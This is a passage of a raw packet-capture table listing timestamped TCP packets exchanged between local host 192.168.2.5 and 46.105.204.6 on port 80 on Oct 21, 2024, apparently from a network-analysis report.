                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547524929 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547549009 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547549009 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547563076 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547811031 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547857046 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547873974 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547887087 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547899961 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547930956 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.547930956 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.589253902 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.589298964 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.589309931 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.589323044 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.589431047 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.589431047 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595722914 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595741034 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595756054 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595774889 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595788002 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595799923 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595832109 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595832109 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595882893 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595886946 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595896006 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595906973 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595927954 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595941067 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.595943928 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596035957 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596112967 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596126080 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596138000 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596179008 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596188068 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596199036 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596210003 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596210003 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596232891 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596242905 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596249104 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596261024 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596273899 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596307993 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596307993 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596738100 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596754074 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596765041 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.596856117 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634596109 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634617090 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634630919 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634754896 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634778976 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634793043 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634804964 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634813070 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634820938 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634829998 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634829998 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634888887 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634902000 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634915113 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634929895 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.634929895 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635021925 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635092020 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635180950 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635193110 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635205984 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635219097 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635293961 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635370970 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635392904 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635407925 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635418892 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635442019 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.635463953 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663044930 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663063049 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663083076 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663098097 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663110971 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663125038 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663180113 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663317919 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663326979 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663331032 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663345098 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663408041 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663434982 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663461924 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663474083 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663485050 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663491011 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663501024 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663518906 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663657904 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663752079 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663764000 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663774967 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.663822889 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664242983 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664254904 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664277077 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664288044 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664299965 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664310932 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664316893 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664330006 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664341927 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664354086 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664367914 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664371967 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664386034 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664424896 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664685965 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664699078 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664710045 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664737940 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664742947 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664757013 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664768934 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664791107 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.664791107 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.665138960 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.665150881 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.665163994 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.665177107 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.665200949 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.665247917 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.706572056 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.706602097 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.706617117 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.706799984 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.706799984 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.712704897 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.712722063 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.712734938 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.712752104 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.712764025 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.712774992 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.712829113 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.712829113 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.712922096 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.712971926 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.712985039 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.712996960 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713031054 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713088989 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713098049 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713139057 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713181973 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713249922 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713263035 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713274956 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713287115 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713331938 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713331938 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713476896 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713489056 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713500977 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713511944 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713553905 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713553905 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713733912 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713747978 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713768005 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713778973 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713790894 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713804007 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713819981 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713819981 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.713852882 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768095970 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768125057 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768143892 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768157005 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768168926 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768179893 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768192053 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768203974 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768218994 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768229961 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768249989 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768260956 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768273115 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768286943 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768300056 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768312931 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768326044 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768327951 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768327951 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768327951 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768343925 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768357992 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768362999 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768362999 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.768407106 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782666922 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782723904 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782746077 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782757998 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782769918 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782780886 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782792091 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782802105 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782814026 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782825947 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782836914 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782847881 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782859087 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782866001 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.782875061 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783006907 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783006907 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783035994 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783047915 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783058882 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783090115 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783101082 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783113956 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783124924 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783138990 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783140898 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783188105 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783188105 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783226967 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783238888 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783252001 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783263922 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783274889 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783287048 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783298016 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783317089 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783318043 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783401012 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783967972 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.783982992 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.784001112 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.784013033 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.784015894 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.784025908 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.784040928 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.784050941 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.784096003 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.841885090 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.841905117 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.841916084 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.841928005 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.841939926 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.841959000 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.841973066 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.841984034 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.842016935 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.842082977 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.842140913 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.842154026 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.842164993 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:08.842178106 CEST804970446.105.204.6192.168.2.5
